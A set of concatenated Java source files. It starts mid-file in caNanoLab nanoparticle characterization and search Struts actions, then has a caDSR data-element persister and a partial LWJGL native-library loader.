"This characterization no longer exists in the database. Please log in again to refresh.");
}
CharacterizationBean charBean = new CharacterizationBean(aChar);
theForm.set("achar", charBean);
// set characterizations with additional information
if (aChar instanceof Shape) {
theForm.set("shape", new ShapeBean((Shape) aChar));
} else if (aChar instanceof Morphology) {
theForm.set("morphology", new MorphologyBean((Morphology) aChar));
} else if (aChar instanceof Solubility) {
theForm.set("solubility", new SolubilityBean((Solubility) aChar));
} else if (aChar instanceof Surface) {
theForm.set("surface", new SurfaceBean((Surface) aChar));
} else if (aChar instanceof Solubility) {
theForm.set("solubility", new SolubilityBean((Solubility) aChar));
} else if (aChar instanceof Cytotoxicity) {
theForm.set("cytotoxicity", new CytotoxicityBean(
(Cytotoxicity) aChar));
}
UserService userService = new UserService(
CaNanoLabConstants.CSM_APP_NAME);
UserBean user = (UserBean) request.getSession().getAttribute("user");
// set up charaterization files in the session
int fileNumber = 0;
for (DerivedBioAssayData obj : aChar.getDerivedBioAssayDataCollection()) {
DerivedBioAssayDataBean fileBean = new DerivedBioAssayDataBean(obj);
boolean status = userService.checkReadPermission(user, fileBean
.getId());
if (status) {
List<String> accessibleGroups = userService
.getAccessibleGroups(fileBean.getId(),
CaNanoLabConstants.CSM_READ_ROLE);
String[] visibilityGroups = accessibleGroups
.toArray(new String[0]);
fileBean.setVisibilityGroups(visibilityGroups);
request.getSession().setAttribute(
"characterizationFile" + fileNumber, fileBean);
}
fileNumber++;
}
return mapping.findForward("setup");
}
/**
* Prepare the form for viewing existing characterization
*
* @param mapping
* @param form
* @param request
* @param response
* @return
* @throws Exception
*/
public ActionForward setupView(ActionMapping mapping, ActionForm form,
HttpServletRequest request, HttpServletResponse response)
throws Exception {
return setupUpdate(mapping, form, request, response);
}
/**
* Load file action for characterization file loading.
*
* @param mapping
* @param form
* @param request
* @param response
* @return
* @throws Exception
*/
public ActionForward loadFile(ActionMapping mapping, ActionForm form,
HttpServletRequest request, HttpServletResponse response)
throws Exception {
request.setAttribute("characterizationName", request
.getParameter("charName"));
DynaValidatorForm theForm = (DynaValidatorForm) form;
String particleName = theForm.getString("particleName");
request.setAttribute("particleName", particleName);
request.setAttribute("loadFileForward", mapping.findForward("setup")
.getPath());
CharacterizationBean achar = (CharacterizationBean) theForm
.get("achar");
int fileNum = Integer.parseInt(request.getParameter("fileNumber"));
DerivedBioAssayDataBean derivedBioAssayDataBean = achar
.getDerivedBioAssayDataList().get(fileNum);
request.setAttribute("file", derivedBioAssayDataBean);
return mapping.findForward("loadFile");
}
/**
* Download action to handle characterization file download and viewing
*
* @param
* @return
*/
public ActionForward download(ActionMapping mapping, ActionForm form,
HttpServletRequest request, HttpServletResponse response)
throws Exception {
String fileId = request.getParameter("fileId");
SubmitNanoparticleService service = new SubmitNanoparticleService();
LabFileBean fileBean = service.getFile(fileId);
String fileRoot = PropertyReader.getProperty(
CaNanoLabConstants.FILEUPLOAD_PROPERTY, "fileRepositoryDir");
File dFile = new File(fileRoot + File.separator + fileBean.getUri());
if (dFile.exists()) {
response.setContentType("application/octet-stream");
response.setHeader("Content-disposition", "attachment;filename="
+ fileBean.getName());
response.setHeader("cache-control", "Private");
java.io.InputStream in = new FileInputStream(dFile);
java.io.OutputStream out = response.getOutputStream();
byte[] bytes = new byte[32768];
int numRead = 0;
while ((numRead = in.read(bytes)) > 0) {
out.write(bytes, 0, numRead);
}
out.close();
} else {
throw new CalabException(
"File to download doesn't exist on the server");
}
return null;
}
public ActionForward addFile(ActionMapping mapping, ActionForm form,
HttpServletRequest request, HttpServletResponse response)
throws Exception {
DynaValidatorForm theForm = (DynaValidatorForm) form;
CharacterizationBean achar = (CharacterizationBean) theForm
.get("achar");
List<DerivedBioAssayDataBean> origTables = achar
.getDerivedBioAssayDataList();
int origNum = (origTables == null) ? 0 : origTables.size();
List<DerivedBioAssayDataBean> tables = new ArrayList<DerivedBioAssayDataBean>();
for (int i = 0; i < origNum; i++) {
tables.add((DerivedBioAssayDataBean) origTables.get(i));
}
// add a new one
tables.add(new DerivedBioAssayDataBean());
achar.setDerivedBioAssayDataList(tables);
String particleName = theForm.getString("particleName");
String particleType = theForm.getString("particleType");
InitSessionSetup.getInstance().setSideParticleMenu(request,
particleName, particleType);
return input(mapping, form, request, response);
}
public ActionForward removeFile(ActionMapping mapping, ActionForm form,
HttpServletRequest request, HttpServletResponse response)
throws Exception {
String fileIndexStr = (String) request.getParameter("fileInd");
int fileInd = Integer.parseInt(fileIndexStr);
DynaValidatorForm theForm = (DynaValidatorForm) form;
CharacterizationBean achar = (CharacterizationBean) theForm
.get("achar");
List<DerivedBioAssayDataBean> origTables = achar
.getDerivedBioAssayDataList();
int origNum = (origTables == null) ? 0 : origTables.size();
List<DerivedBioAssayDataBean> tables = new ArrayList<DerivedBioAssayDataBean>();
for (int i = 0; i < origNum; i++) {
tables.add((DerivedBioAssayDataBean) origTables.get(i));
}
// remove the one at the index
if (origNum > 0) {
tables.remove(fileInd);
}
achar.setDerivedBioAssayDataList(tables);
String particleName = theForm.getString("particleName");
String particleType = theForm.getString("particleType");
InitSessionSetup.getInstance().setSideParticleMenu(request,
particleName, particleType);
return input(mapping, form, request, response);
}
public ActionForward addData(ActionMapping mapping, ActionForm form,
HttpServletRequest request, HttpServletResponse response)
throws Exception {
DynaValidatorForm theForm = (DynaValidatorForm) form;
CharacterizationBean achar = (CharacterizationBean) theForm
.get("achar");
String fileIndexStr = (String) request.getParameter("fileInd");
int fileInd = Integer.parseInt(fileIndexStr);
DerivedBioAssayDataBean derivedBioAssayDataBean = (DerivedBioAssayDataBean) achar
.getDerivedBioAssayDataList().get(fileInd);
List<DatumBean> origDataList = derivedBioAssayDataBean.getDatumList();
int origNum = (origDataList == null) ? 0 : origDataList.size();
List<DatumBean> dataList = new ArrayList<DatumBean>();
for (int i = 0; i < origNum; i++) {
DatumBean dataPoint = (DatumBean) origDataList.get(i);
dataList.add(dataPoint);
}
dataList.add(new DatumBean());
derivedBioAssayDataBean.setDatumList(dataList);
String particleName = theForm.getString("particleName");
String particleType = theForm.getString("particleType");
InitSessionSetup.getInstance().setSideParticleMenu(request,
particleName, particleType);
return input(mapping, form, request, response);
}
public ActionForward removeData(ActionMapping mapping, ActionForm form,
HttpServletRequest request, HttpServletResponse response)
throws Exception {
DynaValidatorForm theForm = (DynaValidatorForm) form;
CharacterizationBean achar = (CharacterizationBean) theForm
.get("achar");
String fileIndexStr = (String) request.getParameter("fileInd");
int fileInd = Integer.parseInt(fileIndexStr);
String dataIndexStr = (String) request.getParameter("dataInd");
int dataInd = Integer.parseInt(dataIndexStr);
DerivedBioAssayDataBean derivedBioAssayDataBean = (DerivedBioAssayDataBean) achar
.getDerivedBioAssayDataList().get(fileInd);
List<DatumBean> origDataList = derivedBioAssayDataBean.getDatumList();
int origNum = (origDataList == null) ? 0 : origDataList.size();
List<DatumBean> dataList = new ArrayList<DatumBean>();
for (int i = 0; i < origNum; i++) {
DatumBean dataPoint = (DatumBean) origDataList.get(i);
dataList.add(dataPoint);
}
if (origNum > 0)
dataList.remove(dataInd);
derivedBioAssayDataBean.setDatumList(dataList);
String particleName = theForm.getString("particleName");
String particleType = theForm.getString("particleType");
InitSessionSetup.getInstance().setSideParticleMenu(request,
particleName, particleType);
return input(mapping, form, request, response);
// return mapping.getInputForward(); this gives an
// IndexOutOfBoundException in the jsp page
}
/**
* Pepopulate data for the form
*
* @param request
* @param theForm
* @throws Exception
*/
public ActionForward deleteConfirmed(ActionMapping mapping,
ActionForm form, HttpServletRequest request,
HttpServletResponse response) throws Exception {
DynaValidatorForm theForm = (DynaValidatorForm) form;
String particleName = theForm.getString("particleName");
String particleType = theForm.getString("particleType");
String strCharId = theForm.getString("characterizationId");
SubmitNanoparticleService service = new SubmitNanoparticleService();
service.deleteCharacterizations(particleName, particleType,
new String[] { strCharId });
// signal the session that characterization has been changed
request.getSession().setAttribute("newCharacterizationCreated", "true");
InitSessionSetup.getInstance().setSideParticleMenu(request,
particleName, particleType);
ActionMessages msgs = new ActionMessages();
ActionMessage msg = new ActionMessage("message.delete.characterization");
msgs.add("message", msg);
saveMessages(request, msgs);
return mapping.findForward("success");
}
// add edited option to all editable dropdowns
private void updateAllCharEditables(HttpSession session,
CharacterizationBean achar) throws Exception {
InitSessionSetup.getInstance().updateEditableDropdown(session,
achar.getCharacterizationSource(), "characterizationSources");
InitSessionSetup.getInstance().updateEditableDropdown(session,
achar.getInstrumentConfigBean().getInstrumentBean().getType(),
"allInstrumentTypes");
InitSessionSetup.getInstance().updateEditableDropdown(
session,
achar.getInstrumentConfigBean().getInstrumentBean()
.getManufacturer(), "allManufacturers");
for (DerivedBioAssayDataBean derivedBioAssayDataBean : achar
.getDerivedBioAssayDataList()) {
InitSessionSetup.getInstance().updateEditableDropdown(session,
derivedBioAssayDataBean.getType(),
"allDerivedDataFileTypes");
if (derivedBioAssayDataBean != null) {
for (String category : derivedBioAssayDataBean.getCategories()) {
InitSessionSetup.getInstance().updateEditableDropdown(
session, category, "derivedDataCategories");
}
for (DatumBean datum : derivedBioAssayDataBean.getDatumList()) {
InitSessionSetup.getInstance().updateEditableDropdown(
session, datum.getName(), "datumNames");
InitSessionSetup.getInstance().updateEditableDropdown(
session, datum.getStatisticsType(),
"charMeasureTypes");
InitSessionSetup.getInstance().updateEditableDropdown(
session, datum.getUnit(), "charMeasureUnits");
}
}
}
}
// add edited option to all editable dropdowns
private void updateShapeEditable(HttpSession session, ShapeBean shape)
throws Exception {
InitSessionSetup.getInstance().updateEditableDropdown(session,
shape.getType(), "allShapeTypes");
}
private void updateMorphologyEditable(HttpSession session,
MorphologyBean morphology) throws Exception {
InitSessionSetup.getInstance().updateEditableDropdown(session,
morphology.getType(), "allMorphologyTypes");
}
private void updateCytotoxicityEditable(HttpSession session,
CytotoxicityBean cyto) throws Exception {
InitSessionSetup.getInstance().updateEditableDropdown(session,
cyto.getCellLine(), "allCellLines");
}
private void updateSolubilityEditable(HttpSession session,
SolubilityBean solubility) throws Exception {
InitSessionSetup.getInstance().updateEditableDropdown(session,
solubility.getSolvent(), "allSolventTypes");
InitSessionSetup.getInstance().updateEditableDropdown(session,
solubility.getCriticalConcentrationUnit(), "allConcentrationUnits");
}
private void updateSurfaceEditable(HttpSession session,
SurfaceBean surface) throws Exception {
InitSessionSetup.getInstance().updateEditableDropdown(session,
surface.getChargeUnit(), "allChargeMeasureUnits");
InitSessionSetup.getInstance().updateEditableDropdown(session,
surface.getSurfaceAreaUnit(), "allAreaMeasureUnits");
InitSessionSetup.getInstance().updateEditableDropdown(session,
surface.getZetaPotentialUnit(), "allZetaPotentialUnits");
}
public boolean loginRequired() {
return true;
}
}
|
package gov.nih.nci.calab.ui.core;
import gov.nih.nci.calab.domain.nano.characterization.Characterization;
import gov.nih.nci.calab.domain.nano.characterization.DerivedBioAssayData;
import gov.nih.nci.calab.dto.characterization.CharacterizationBean;
import gov.nih.nci.calab.dto.characterization.CharacterizationFileBean;
import gov.nih.nci.calab.dto.characterization.ConditionBean;
import gov.nih.nci.calab.dto.characterization.ControlBean;
import gov.nih.nci.calab.dto.characterization.DatumBean;
import gov.nih.nci.calab.dto.characterization.DerivedBioAssayDataBean;
import gov.nih.nci.calab.service.search.SearchNanoparticleService;
import gov.nih.nci.calab.service.submit.SubmitNanoparticleService;
import gov.nih.nci.calab.service.util.CalabConstants;
import gov.nih.nci.calab.service.util.PropertyReader;
import java.io.File;
import java.io.FileInputStream;
import java.util.ArrayList;
import java.util.List;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import org.apache.struts.action.ActionForm;
import org.apache.struts.action.ActionForward;
import org.apache.struts.action.ActionMapping;
import org.apache.struts.validator.DynaValidatorForm;
/**
* This action serves as the base action for all characterization related action
* classes. It includes common operations such as download, updateManufacturers.
*
* @author pansu
*/
/* CVS $Id: BaseCharacterizationAction.java,v 1.2 2006-11-17 22:09:51 pansu Exp $ */
public abstract class BaseCharacterizationAction extends AbstractDispatchAction {
/**
* clear session data from the input form
*
* @param session
* @param theForm
* @param mapping
* @throws Exception
*/
protected abstract void clearMap(HttpSession session,
DynaValidatorForm theForm, ActionMapping mapping) throws Exception;
/**
* Pepopulate data for the form
*
* @param request
* @param theForm
* @throws Exception
*/
protected abstract void initSetup(HttpServletRequest request,
DynaValidatorForm theForm) throws Exception;
/**
* Set the appropriate type of characterization bean in the form
* from the chararacterization domain obj.
* @param theForm
* @param aChar
* @throws Exception
*/
protected abstract void setFormCharacterizationBean(DynaValidatorForm theForm,
Characterization aChar) throws Exception;
/**
* Set up the input form for adding new characterization
*
* @param mapping
* @param form
* @param request
* @param response
* @return
* @throws Exception
*/
public ActionForward setup(ActionMapping mapping, ActionForm form,
HttpServletRequest request, HttpServletResponse response)
throws Exception {
DynaValidatorForm theForm = (DynaValidatorForm) form;
HttpSession session = request.getSession();
clearMap(session, theForm, mapping);
initSetup(request, theForm);
return mapping.getInputForward();
}
/**
* Set request attributes required in load file for different types of characterizations
* @param request
*/
protected abstract void setLoadFileRequest(HttpServletRequest request);
/**
* Set up the form for updating existing characterization
*
* @param mapping
* @param form
* @param request
* @param response
* @return
* @throws Exception
*/
public ActionForward setupUpdate(ActionMapping mapping, ActionForm form,
HttpServletRequest request, HttpServletResponse response)
throws Exception {
DynaValidatorForm theForm = (DynaValidatorForm) form;
String characterizationId = (String) theForm.get("characterizationId");
SearchNanoparticleService service = new SearchNanoparticleService();
Characterization aChar = service
.getCharacterizationAndTableBy(characterizationId);
if (aChar == null)
// aChar = service.getCharacterizationBy(compositionId);
aChar = service.getCharacterizationAndTableBy(characterizationId);
HttpSession session = request.getSession();
// clear session data from the input forms
clearMap(session, theForm, mapping);
theForm.set("characterizationId", characterizationId);
int fileNumber = 0;
for (DerivedBioAssayData obj : aChar.getDerivedBioAssayDataCollection()) {
if (obj.getFile() != null) {
CharacterizationFileBean fileBean = new CharacterizationFileBean();
fileBean.setName(obj.getFile().getFilename());
fileBean.setPath(obj.getFile().getPath());
fileBean.setId(Integer.toString(fileNumber));
request.getSession().setAttribute(
"characterizationFile" + fileNumber, fileBean);
} else {
request.getSession().removeAttribute(
"characterizationFile" + fileNumber);
}
fileNumber++;
}
if (aChar.getInstrument() != null) {
String instrumentType = aChar.getInstrument().getInstrumentType()
.getName();
InitSessionSetup.getInstance().setManufacturerPerType(session,
instrumentType);
session.setAttribute("selectedInstrumentType", instrumentType);
}
initSetup(request, theForm);
setFormCharacterizationBean(theForm, aChar);
return mapping.getInputForward();
}
/**
* Prepare the form for viewing existing characterization
*
* @param mapping
* @param form
* @param request
* @param response
* @return
* @throws Exception
*/
public ActionForward setupView(ActionMapping mapping, ActionForm form,
HttpServletRequest request, HttpServletResponse response)
throws Exception {
return setupUpdate(mapping, form, request, response);
}
/**
* Load file action for characterization file loading.
*
* @param mapping
* @param form
* @param request
* @param response
* @return
* @throws Exception
*/
public ActionForward loadFile(ActionMapping mapping, ActionForm form,
HttpServletRequest request, HttpServletResponse response)
throws Exception {
DynaValidatorForm theForm = (DynaValidatorForm) form;
String particleName = (String) theForm.get("particleName");
String fileNumber = (String) theForm.get("fileNumber");
request.setAttribute("particleName", particleName);
request.setAttribute("fileNumber", fileNumber);
SubmitNanoparticleService service = new SubmitNanoparticleService();
List<CharacterizationFileBean> files = service
.getAllRunFiles(particleName);
request.setAttribute("allRunFiles", files);
setLoadFileRequest(request);
return mapping.findForward("loadFile");
}
/**
* Download action to handle characterization file download and viewing
*
* @param
* @return
*/
public ActionForward download(ActionMapping mapping, ActionForm form,
HttpServletRequest request, HttpServletResponse response)
throws Exception {
String fileId = request.getParameter("fileId");
SubmitNanoparticleService service = new SubmitNanoparticleService();
CharacterizationFileBean fileBean = service.getFile(fileId);
String fileRoot = PropertyReader.getProperty(
CalabConstants.FILEUPLOAD_PROPERTY, "fileRepositoryDir");
File dFile = new File(fileRoot + File.separator + fileBean.getPath());
if (dFile.exists()) {
response.setContentType("application/octet-stream");
response.setHeader("Content-disposition", "attachment;filename="
+ fileBean.getName());
response.setHeader("Cache-Control", "no-cache");
java.io.InputStream in = new FileInputStream(dFile);
java.io.OutputStream out = response.getOutputStream();
byte[] bytes = new byte[32768];
int numRead = 0;
while ((numRead = in.read(bytes)) > 0) {
out.write(bytes, 0, numRead);
}
out.close();
} else {
throw new Exception("ERROR: file not found.");
}
return null;
}
/**
* Update multiple children on the same form
*
* @param mapping
* @param form
* @param request
* @param response
* @return
* @throws Exception
*/
public ActionForward updateManufacturers(ActionMapping mapping,
ActionForm form, HttpServletRequest request,
HttpServletResponse response) throws Exception {
DynaValidatorForm theForm = (DynaValidatorForm) form;
HttpSession session = request.getSession();
CharacterizationBean aChar = (CharacterizationBean) theForm
.get("achar");
if (aChar.getInstrument() != null) {
String type = aChar.getInstrument().getType();
session.setAttribute("selectedInstrumentType", type);
// type);
InitSessionSetup.getInstance().setManufacturerPerType(session,
aChar.getInstrument().getType());
}
return mapping.getInputForward();
}
public void updateCharacterizationTables(CharacterizationBean achar) {
String numberOfCharacterizationTables = achar
.getNumberOfDerivedBioAssayData();
int tableNum = Integer.parseInt(numberOfCharacterizationTables);
List<DerivedBioAssayDataBean> origTables = achar
.getDerivedBioAssayData();
int origNum = (origTables == null) ? 0 : origTables.size();
List<DerivedBioAssayDataBean> tables = new ArrayList<DerivedBioAssayDataBean>();
// create new ones
if (origNum == 0) {
for (int i = 0; i < tableNum; i++) {
DerivedBioAssayDataBean table = new DerivedBioAssayDataBean();
tables.add(table);
}
}
// use keep original table info
else if (tableNum <= origNum) {
for (int i = 0; i < tableNum; i++) {
tables.add((DerivedBioAssayDataBean) origTables.get(i));
}
} else {
for (int i = 0; i < origNum; i++) {
tables.add((DerivedBioAssayDataBean) origTables.get(i));
}
for (int i = origNum; i < tableNum; i++) {
tables.add(new DerivedBioAssayDataBean());
}
}
achar.setDerivedBioAssayData(tables);
}
/**
* Update multiple children on the same form
*
* @param mapping
* @param form
* @param request
* @param response
* @return
* @throws Exception
*/
public void addConditions(CharacterizationBean achar, String index) {
ControlBean control = null;
int tableIndex = new Integer(index).intValue();
DerivedBioAssayDataBean derivedBioAssayData = (DerivedBioAssayDataBean) achar
.getDerivedBioAssayData().get(tableIndex);
DatumBean datum = (DatumBean) derivedBioAssayData.getDatumList().get(0);
if (datum.getControl() != null) {
datum.setControl(control);
}
List<ConditionBean> conditions = new ArrayList<ConditionBean>();
ConditionBean particleConcentrationCondition = new ConditionBean();
particleConcentrationCondition.setType("Particle Concentration");
conditions.add(particleConcentrationCondition);
ConditionBean molecularConcentrationCondition = new ConditionBean();
molecularConcentrationCondition.setType("Molecular Concentration");
molecularConcentrationCondition.setValueUnit("uM");
conditions.add(molecularConcentrationCondition);
datum.setConditionList(conditions);
}
/**
* Update multiple children on the same form
*
* @param mapping
* @param form
* @param request
* @param response
* @return
* @throws Exception
*/
public void addControl(CharacterizationBean achar, String index) {
List<ConditionBean> conditionList = null;
int tableIndex = new Integer(index).intValue();
DerivedBioAssayDataBean derivedBioAssayData = (DerivedBioAssayDataBean) achar
.getDerivedBioAssayData().get(tableIndex);
DatumBean datum = (DatumBean) derivedBioAssayData.getDatumList().get(0);
if (datum.getConditionList() != null) {
datum.setConditionList(conditionList);
}
ControlBean control = new ControlBean();
datum.setControl(control);
}
/**
* Update multiple children on the same form
*
* @param mapping
* @param form
* @param request
* @param response
* @return
* @throws Exception
*/
public void updateConditions(CharacterizationBean achar, String index) {
int tableIndex = new Integer(index).intValue();
DerivedBioAssayDataBean derivedBioAssayDataBean = (DerivedBioAssayDataBean) achar
.getDerivedBioAssayData().get(tableIndex);
DatumBean datumBean = (DatumBean) (derivedBioAssayDataBean
.getDatumList().get(0));
String numberOfConditions = datumBean.getNumberOfConditions();
int conditionNum = Integer.parseInt(numberOfConditions);
List<ConditionBean> origConditions = datumBean.getConditionList();
int origNum = (origConditions == null) ? 0 : origConditions.size();
List<ConditionBean> conditions = new ArrayList<ConditionBean>();
// create new ones
if (origNum == 0) {
for (int i = 0; i < conditionNum; i++) {
ConditionBean condition = new ConditionBean();
conditions.add(condition);
}
}
// use keep original table info
else if (conditionNum <= origNum) {
for (int i = 0; i < conditionNum; i++) {
conditions.add((ConditionBean) origConditions.get(i));
}
} else {
for (int i = 0; i < origNum; i++) {
conditions.add((ConditionBean) origConditions.get(i));
}
for (int i = origNum; i < conditionNum; i++) {
conditions.add(new ConditionBean());
}
}
datumBean.setConditionList(conditions);
}
public boolean loginRequired() {
return true;
}
}
|
package gov.nih.nci.calab.ui.search;
/**
* This class searches nanoparticle metadata based on user supplied criteria
*
* @author pansu
*/
/* CVS $Id: SearchNanoparticleAction.java,v 1.3 2006-08-15 19:14:36 pansu Exp $ */
import gov.nih.nci.calab.dto.common.UserBean;
import gov.nih.nci.calab.dto.particle.ParticleBean;
import gov.nih.nci.calab.service.search.SearchNanoparticleService;
import gov.nih.nci.calab.service.security.UserService;
import gov.nih.nci.calab.service.util.CalabConstants;
import gov.nih.nci.calab.ui.core.AbstractDispatchAction;
import gov.nih.nci.calab.ui.core.InitSessionSetup;
import java.util.List;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import org.apache.struts.action.ActionForm;
import org.apache.struts.action.ActionForward;
import org.apache.struts.action.ActionMapping;
import org.apache.struts.validator.DynaValidatorForm;
public class SearchNanoparticleAction extends AbstractDispatchAction {
public ActionForward search(ActionMapping mapping, ActionForm form,
HttpServletRequest request, HttpServletResponse response)
throws Exception {
ActionForward forward = null;
HttpSession session = request.getSession();
UserBean user = (UserBean) session.getAttribute("user");
DynaValidatorForm theForm = (DynaValidatorForm) form;
String particleSource = (String) theForm.get("particleSource");
String particleType = (String) theForm.get("particleType");
String functionType = (String) theForm.get("functionType");
String characterizationType = (String) theForm
.get("characterizationType");
String keywords = (String) theForm.get("keywords");
String[] keywordList = keywords.split("\r\n");
SearchNanoparticleService searchParticleService = new SearchNanoparticleService();
List<ParticleBean> particles = searchParticleService.basicSearch(
particleSource, particleType, functionType,
characterizationType, keywordList, user);
request.setAttribute("particles", particles);
/*
* ActionMessages msgs = new ActionMessages(); ActionMessage msg = new
* ActionMessage( "message.searchNanoparticle.secure",
* filteredParticles.size(), samples.size(), particleType);
* msgs.add("message", msg); saveMessages(request, msgs);
*/
forward = mapping.findForward("success");
return forward;
}
public ActionForward setup(ActionMapping mapping, ActionForm form,
HttpServletRequest request, HttpServletResponse response)
throws Exception {
HttpSession session = request.getSession();
InitSessionSetup.getInstance().setAllParticleSources(session);
InitSessionSetup.getInstance().setAllParticleTypeParticles(session);
InitSessionSetup.getInstance().setAllParticleFunctionTypes(session);
InitSessionSetup.getInstance().setAllParticleCharacterizationTypes(
session);
InitSessionSetup.getInstance().clearWorkflowSession(session);
InitSessionSetup.getInstance().clearInventorySession(session);
return mapping.getInputForward();
}
public boolean loginRequired() {
return true;
}
/*
* overwrite the one in AbstractDispatchAction because the tab 'Nanoparticle
* Search' also links to this action
*/
public boolean canUserExecute(HttpSession session) throws Exception {
// check whether user has privilege to execute nanoparticle search pe or
// execute search pe
UserBean user = (UserBean) session.getAttribute("user");
UserService userService = new UserService(CalabConstants.CSM_APP_NAME);
boolean nanoSearchStatus = userService.checkExecutePermission(user,
"nanoparticle search");
boolean searchStatus = InitSessionSetup.getInstance()
.canUserExecuteClass(session, this.getClass());
if (nanoSearchStatus || searchStatus) {
return true;
} else {
return false;
}
}
}
|
package gov.nih.nci.ncicb.cadsr.loader.persister;
import gov.nih.nci.ncicb.cadsr.dao.*;
import gov.nih.nci.ncicb.cadsr.domain.*;
import gov.nih.nci.ncicb.cadsr.loader.ElementsLists;
import gov.nih.nci.ncicb.cadsr.loader.defaults.UMLDefaults;
import gov.nih.nci.ncicb.cadsr.loader.util.PropertyAccessor;
import org.apache.log4j.Logger;
import java.util.*;
public class DEPersister extends UMLPersister {
private static Logger logger = Logger.getLogger(DEPersister.class.getName());
public static String DE_PREFERRED_NAME_DELIMITER = "v";
public static String DE_PREFERRED_NAME_CONCAT_CHAR = ":";
public DEPersister(ElementsLists list) {
this.elements = list;
defaults = UMLDefaults.getInstance();
}
public void persist() throws PersisterException {
DataElement de = DomainObjectFactory.newDataElement();
List des = (List) elements.getElements(de.getClass());
logger.debug("des...");
if (des != null) {
for (ListIterator it = des.listIterator(); it.hasNext();) {
try {
de = (DataElement) it.next();
DataElement newDe = DomainObjectFactory.newDataElement();
String packageName = getPackageName(de);
de.setDataElementConcept(
lookupDec(de.getDataElementConcept().getId()));
newDe.setDataElementConcept(de.getDataElementConcept());
de.setValueDomain(lookupValueDomain(de.getValueDomain()));
newDe.setValueDomain(de.getValueDomain());
// String newDef = de.getPreferredDefinition();
List l = dataElementDAO.find(newDe);
//Did Extract Method refactoring
/*de.setLongName(
de.getDataElementConcept().getLongName() + " " +
de.getValueDomain().getPreferredName());*/
de.setLongName(this.deriveLongName(de));
if (l.size() == 0) {
de.setContext(defaults.getContext());
de.setPreferredName(this.derivePreferredName(de));
de.setVersion(defaults.getVersion());
de.setWorkflowStatus(defaults.getWorkflowStatus());
de.setPreferredDefinition(
de.getDataElementConcept().getPreferredDefinition() + "\n" +
de.getValueDomain().getPreferredDefinition()
);
de.setAudit(defaults.getAudit());
logger.debug("Creating DE: " + de.getLongName());
List altNames = new ArrayList(de.getAlternateNames());
List altDefs = new ArrayList(de.getDefinitions());
newDe = dataElementDAO.create(de);
// restore altNames
for(Iterator it2 = altNames.iterator(); it2.hasNext();) {
AlternateName an = (AlternateName)it2.next();
de.addAlternateName(an);
}
// restore altDefs
for(Iterator it2 = altDefs.iterator(); it2.hasNext();) {
Definition def = (Definition)it2.next();
de.addDefinition(def);
}
logger.info(PropertyAccessor.getProperty("created.de"));
}
else {
newDe = (DataElement) l.get(0);
logger.info(PropertyAccessor.getProperty("existed.de"));
/* if DE alreay exists, check context
* If context is different, add Used_by alt_name
*/
if (!newDe.getContext().getId().equals(defaults.getContext().getId())) {
addAlternateName(
newDe, defaults.getContext().getName(), AlternateName.TYPE_USED_BY,
null);
}
}
LogUtil.logAc(newDe, logger);
logger.info(
PropertyAccessor.getProperty(
"vd.preferredName", newDe.getValueDomain().getPreferredName()));
addPackageClassification(newDe, packageName);
for(Iterator it2 = de.getAlternateNames().iterator(); it2.hasNext(); ) {
AlternateName altName = (AlternateName)it2.next();
addAlternateName(
newDe, altName.getName(),
altName.getType(), packageName);
}
for(Iterator it2 = de.getDefinitions().iterator(); it2.hasNext(); ) {
Definition def = (Definition)it2.next();
addAlternateDefinition(
newDe, def.getDefinition(),
def.getType(), packageName);
}
it.set(newDe);
}
catch (PersisterException e) {
logger.error("Could not persist DE: " + de.getLongName());
logger.error(e.getMessage());
} // end of try-catch
}
}
}
//Will need to declare this method as abstract method in UMLPersistor
protected String derivePreferredName (AdminComponent ac ) {
DataElement de = (DataElement)ac;
String preferredName = de.getDataElementConcept().getPublicId()
+DE_PREFERRED_NAME_DELIMITER
+de.getDataElementConcept().getVersion()
+DE_PREFERRED_NAME_CONCAT_CHAR
+de.getValueDomain().getPublicId()
+DE_PREFERRED_NAME_DELIMITER
+de.getValueDomain().getVersion();
return preferredName;
}
//Will need to declare this method as abstract method in UMLPersistor
protected String deriveLongName (AdminComponent ac ) {
DataElement de = (DataElement)ac;
String longName = de.getDataElementConcept().getLongName()
+ " "
+de.getValueDomain().getPreferredName();
return longName;
}
}
|
package org.lwjgl;
import org.lwjgl.system.Configuration;
import java.io.*;
import java.lang.reflect.Method;
import java.util.EnumSet;
import java.util.UUID;
import java.util.zip.CRC32;
final class SharedLibraryLoader {
private static final boolean LINUX;
private static final boolean MACOSX;
private static final boolean WINDOWS;
private static final boolean AOT; // iOS?
private static final boolean ARM;
private static final boolean x64;
private static final String ABI;
static {
// OS flags
String osName = System.getProperty("os.name");
String osArch = System.getProperty("os.arch");
LINUX = osName.contains("Linux");
MACOSX = osName.contains("Mac");
WINDOWS = osName.contains("Windows");
String runtime = System.getProperty("java.runtime.name");
AOT = !(runtime != null && runtime.contains("Android Runtime")) && !LINUX && !MACOSX && !WINDOWS;
ARM = osArch.startsWith("arm");
x64 = osArch.contains("64");
String archABI = System.getProperty("sun.arch.abi"); // JDK 8 only
ABI = archABI != null ? archABI : "";
}
/** A library bundled with LWJGL. */
enum Library {
LWJGL("lwjgl"),
JEMALLOC("jemalloc"),
GLFW("glfw"),
OPENAL(WINDOWS ? "OpenAL" : "openal");
final String file;
Library(String file) {
String libname = file;
if ( LINUX && ARM )
libname += "arm" + ABI;
if ( !x64 )
libname += "32";
this.file = System.mapLibraryName(libname);
}
/**
* Returns the library file for the current platform.
*
* @return the library file
*/
public String getFile() {
return file;
}
}
private static final EnumSet<Library> loadedLibraries = EnumSet.noneOf(Library.class);
private SharedLibraryLoader() {
}
/**
* Extracts the LWJGL native libraries from the classpath to a temporary directory and prepends the path to that directory to the
* {@link Configuration#LIBRARY_PATH} option.
*/
static void load() {
if ( AOT || !loadedLibraries.isEmpty() )
return;
// Don't extract natives if using JWS
try {
Method method = Class.forName("javax.jnlp.ServiceManager").getDeclaredMethod("lookup", String.class);
method.invoke(null, "javax.jnlp.PersistenceService");
return;
} catch (Throwable ignored) {
}
Library[] libraries = Library.values();
File extractPath;
try {
// Extract the lwjgl shared library and get the library path
extractPath = extractFile(libraries[0].file, null).getParentFile();
} catch (Exception e) {
throw new RuntimeException("Unable to extract LWJGL natives", e);
}
// Extract the other shared libraries in the same path
for ( int i = 1; i < libraries.length; i++ ) {
try {
extractFile(libraries[i].file, extractPath);
} catch (Exception e) {
LWJGLUtil.log("Failed to extract " + libraries[i].name() + " library");
}
}
